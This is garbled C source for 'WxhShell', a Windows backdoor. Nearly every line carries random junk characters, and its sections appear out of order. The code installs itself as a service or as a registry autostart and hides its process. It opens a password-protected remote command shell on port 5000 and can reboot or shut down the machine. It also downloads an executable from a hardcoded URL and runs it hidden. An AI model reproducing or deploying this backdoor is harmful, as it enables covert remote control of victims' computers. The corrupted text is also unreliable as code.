ULONG InheritedFromUniqueProcessId; "]G\9b)
} PROCESS_BASIC_INFORMATION; AQ='|%
\Acqr@D
PROCNTQSIP NtQueryInformationProcess; y a_<^O
9
FJd]D[h
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T'~!9Q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <'g:T(t
<wAFy>7
HANDLE hProcess; `[n("7,
PROCESS_BASIC_INFORMATION pbi; %$DI^yS
=yy5D$\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dc rSz4E|>
if(NULL == hInst ) return 0; x)_0OR2lkp
uAWM\?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1PatH[T[
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {,L+1h
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jkvgoxY
,f&5pw
=
if (!NtQueryInformationProcess) return 0; aT`%;i^
<Z/x,-^*<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ft!],n-n*
if(!hProcess) return 0; ZR'H\Z
i _%Q`i
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2J;kSh1,L
M^]cM(swK5
CloseHandle(hProcess); x_dy~(*
T|TO }_x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); to$h2#i_
if(hProcess==NULL) return 0; ?pzaG{
P$-X)c$&
HMODULE hMod; ~B(6+~%
char procName[255]; piZJJYv t
unsigned long cbNeeded; Alxx[l\<J
eD#hpl
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2TA*m{\Hr
;I!MLI
CloseHandle(hProcess); jXMyPNTK
xagBORg+Bd
if(strstr(procName,"services")) return 1; // 以服务启动 Dmu/RD5X:
x UD-iSY
return 0; // 注册表启动 qZA).12qS
} `FC(
Kc^;vT>3
// 主模块 LoGVwRmoC
int StartWxhshell(LPSTR lpCmdLine) Y(cGk#0
{ W}]%X4<#rN
SOCKET wsl; aT$9;
BOOL val=TRUE; Xqm::1(-(
int port=0; .>IhN 5
struct sockaddr_in door; MHC^8VL
wg]j+r@
if(wscfg.ws_autoins) Install(); yYH 0v7vx+
|x-S&-
port=atoi(lpCmdLine); Mwr"~?\\
,9o"43D:a|
if(port<=0) port=wscfg.ws_port; dB5b@9*
>#y^;/bb
WSADATA data; bAm(8nT7w
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EB8\_]6XJ
1[vi.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; oTuOw|[
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .?Gd'Lp
door.sin_family = AF_INET; jav#f{'
door.sin_addr.s_addr = inet_addr("127.0.0.1");
1wP-
door.sin_port = htons(port); #"5 Dk#@
aqc?pqM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v3jg~"!
closesocket(wsl); =Fr(9(
return 1; E 0?iXSJ
} ])!o5`ltZ
a0ObBe'
if(listen(wsl,2) == INVALID_SOCKET) { 7[}xP#Z
closesocket(wsl); KPj\-g'A
return 1; L#
2+z@g
} 7fba-7-P
Wxhshell(wsl); w2'f/
WSACleanup(); pn5Q5xc
K]0JC/R6(@
return 0; `u&Zrdr,
gjAIEI
} ixT:)|'i
)}?#
// 以NT服务方式启动 A?pbWt~}
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g #6E|n
{ fk x \=
DWORD status = 0; HI11Jl}{
DWORD specificError = 0xfffffff; =^5Alba/
KW^7H
serviceStatus.dwServiceType = SERVICE_WIN32; AQiwugs
serviceStatus.dwCurrentState = SERVICE_START_PENDING; eXf22;Lz
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b8LLr;oQw
serviceStatus.dwWin32ExitCode = 0; y`XU~B)J1
serviceStatus.dwServiceSpecificExitCode = 0; wLOB}ZMT
serviceStatus.dwCheckPoint = 0; 9^G/8<^^>
serviceStatus.dwWaitHint = 0; Aw5HF34J
S :<Nc{C
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HEM9E&rL
if (hServiceStatusHandle==0) return; ssN6M./6
3S}Pm2D2
status = GetLastError(); 6'Worj
if (status!=NO_ERROR) E}nH1
{ ^*Yh@4\{JH
serviceStatus.dwCurrentState = SERVICE_STOPPED; pxh"B\"4*
serviceStatus.dwCheckPoint = 0; ]h
%Wiw
serviceStatus.dwWaitHint = 0; u2?|Ue@[
serviceStatus.dwWin32ExitCode = status; Tap.5jHL
serviceStatus.dwServiceSpecificExitCode = specificError; h9G RI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); MfWyc_
return; DRi<6Ob
} S_IUV)
l.NEkAYPmH
serviceStatus.dwCurrentState = SERVICE_RUNNING; ?3.b{Cq{-
serviceStatus.dwCheckPoint = 0; j4uvS!
serviceStatus.dwWaitHint = 0; y3o25}"
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -RvQB
} ;k>&FWEG
5E zw
~hn
// 处理NT服务事件,比如:启动、停止 5jgR4a*_v
VOID WINAPI NTServiceHandler(DWORD fdwControl) esMX-.8Cx
{
7B\Vs-d
switch(fdwControl) zM(vr"U
{ \}"$ ?d'f
case SERVICE_CONTROL_STOP: f m)pulz
serviceStatus.dwWin32ExitCode = 0; sWc*5Rt
serviceStatus.dwCurrentState = SERVICE_STOPPED; 'DL`Ee\
serviceStatus.dwCheckPoint = 0; [8*jw'W|[
serviceStatus.dwWaitHint = 0; +>{Y.`a;Jo
{ [k;\S XDZo
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <?riU\-]y
} 2;DuHO1
return;
G(G{RAk>
case SERVICE_CONTROL_PAUSE: EkjN{$*
serviceStatus.dwCurrentState = SERVICE_PAUSED; YH\OFg@7
break; n O\"HLM
case SERVICE_CONTROL_CONTINUE: hM6PP7XH
serviceStatus.dwCurrentState = SERVICE_RUNNING; )quM4=u'
break; IpcNuZo9&
case SERVICE_CONTROL_INTERROGATE: ~l]ve,W[
break; mR?5G:W~R
}; 9NQlI1Wz4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5#+^E{
} !y@NAa0
ZK@N5/H(
// 标准应用程序主函数 x:7b/j-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !`,Sfqij
{ Rld!,t
]<cK";
// 获取操作系统版本 ,}ECF>
OsIsNt=GetOsVer(); z8SmkL
GetModuleFileName(NULL,ExeFile,MAX_PATH); o7sT=x9
%t" CX5n
// 从命令行安装 `lO[x.[
if(strpbrk(lpCmdLine,"iI")) Install(); UBaAx21x
0 yuW*z
// 下载执行文件 <b`E_
if(wscfg.ws_downexe) { a1t4Dd
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P3)Nl^/
WinExec(wscfg.ws_filenam,SW_HIDE); X\@C.H2ttY
} YkniiB[/
w35J.zn
if(!OsIsNt) { {f2S/$q
// 如果时win9x,隐藏进程并且设置为注册表启动 w[S pw<Z
HideProc(); 2[RoxKm
StartWxhshell(lpCmdLine); %.^_Ps0
} WJkZ!O$"j
else *E/`KUG]
if(StartFromService()) {=!b/l;@
// 以服务方式启动 QLEKsX7p>
StartServiceCtrlDispatcher(DispatchTable); ktFhc3);!
else ]
2eK
// 普通方式启动 |"/8XA
StartWxhshell(lpCmdLine); %_RQx2
D#il*
return 0; C)@y5. G;
} a!<8\vzg
si`A:14R
52 fA/sx
ES.fOdx
=========================================== ZniB]k1
-QM:
q
JORGj0v
aB{vFTD5
)z73-M V"
q Gw -tPD<
" h_:C+)13`x
vq^f}id
#include <stdio.h> +e yc`J
#include <string.h> s:/8[(A
#include <windows.h> 4'`{H@]tb
#include <winsock2.h> \N!AXD
#include <winsvc.h> U(Nu%
#include <urlmon.h> K9$>Yxe|
\?0&0;5
#pragma comment (lib, "Ws2_32.lib") #sPHdz'3M
#pragma comment (lib, "urlmon.lib") 9`I _Et
+*ZO&yJQ^<
#define MAX_USER 100 // 最大客户端连接数 6y+Kjd/D
#define BUF_SOCK 200 // sock buffer a(kg/s
#define KEY_BUFF 255 // 输入 buffer @SJL\{_
tiB_a}5IB
#define REBOOT 0 // 重启 6r"eN%m
#define SHUTDOWN 1 // 关机 _aFl_\3>
rz wF~-m +
#define DEF_PORT 5000 // 监听端口 Oiz ,w7LRh
Ljxz.2LGr
#define REG_LEN 16 // 注册表键长度 s%C)t6`9
#define SVC_LEN 80 // NT服务名长度 B_nVP
WN?O'E=2
// 从dll定义API Rot@x r7Hc
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .S(TxksCz
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cZB7fmq%
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ne8Cgp
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M dZ&A}S
3D!5T8 @
// wxhshell配置信息 @kpv{`Y
struct WSCFG { 2XFU1 AW
int ws_port; // 监听端口 <j*;.yyC
char ws_passstr[REG_LEN]; // 口令 iOR_[ y,
int ws_autoins; // 安装标记, 1=yes 0=no F(k.,0Nc
char ws_regname[REG_LEN]; // 注册表键名 !MYSfPdS
char ws_svcname[REG_LEN]; // 服务名 zLD0RBj7p
char ws_svcdisp[SVC_LEN]; // 服务显示名 T (OW
char ws_svcdesc[SVC_LEN]; // 服务描述信息 v,
n$^R
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'Jt]7;04p
int ws_downexe; // 下载执行标记, 1=yes 0=no ^?cz,N~
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lE;Ewg
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k9 "[H'
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}; D7lK30
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// default Wxhshell configuration x(hE3S#+
struct WSCFG wscfg={DEF_PORT, YQ+tDZY8`
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"Wxhshell", ,k{#S?:b
"Wxhshell", (i34sqV$m
"WxhShell Service", WG N=Y~E
"Wrsky Windows CmdShell Service", d
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"Please Input Your Password: ", Cdas P9"1
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"http://www.wrsky.com/wxhshell.exe", t]y
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"Wxhshell.exe" {5%5}[/x
}; %\D)u8}
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// 消息定义模块 ^B(V4-|
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Bt>}rYz1
char *msg_ws_prompt="\n\r? for help\n\r#>"; LJk@Vy <?
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S4^vpY
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char *msg_ws_ext="\n\rExit."; mL{B!Q
char *msg_ws_end="\n\rQuit."; <(-= 'QA
char *msg_ws_boot="\n\rReboot..."; $FlW1E j
char *msg_ws_poff="\n\rShutdown..."; 0vEoGgY0*:
char *msg_ws_down="\n\rSave to "; vy0X_DPCr
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char *msg_ws_err="\n\rErr!"; 1<BX]-/tP
char *msg_ws_ok="\n\rOK!"; $}J5xG,}$
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char ExeFile[MAX_PATH]; UUzYbuS>&l
int nUser = 0; =NnNN'}
HANDLE handles[MAX_USER]; m@"QDMHk.
int OsIsNt; v@Gl|29_
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SERVICE_STATUS serviceStatus; f|h|q_<;
SERVICE_STATUS_HANDLE hServiceStatusHandle; :n0vQ5a
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// 函数声明 ln?v
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int Install(void); kSR\RuY*
int Uninstall(void); 8Eakif0CO
int DownloadFile(char *sURL, SOCKET wsh); IhA5Wt0j
int Boot(int flag); 12;8o<~
void HideProc(void); 2_n7=&
int GetOsVer(void); 4SlADvGl
int Wxhshell(SOCKET wsl); : YXX8|>
void TalkWithClient(void *cs); ,_Z5m;
int CmdShell(SOCKET sock); POdUV
int StartFromService(void); N['qgO/
int StartWxhshell(LPSTR lpCmdLine); l^|UCgRn
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k 8UO9r[
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1QLbf*zeIW
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// 数据结构和表定义 Pa{%\dsv
SERVICE_TABLE_ENTRY DispatchTable[] = BFL`!^
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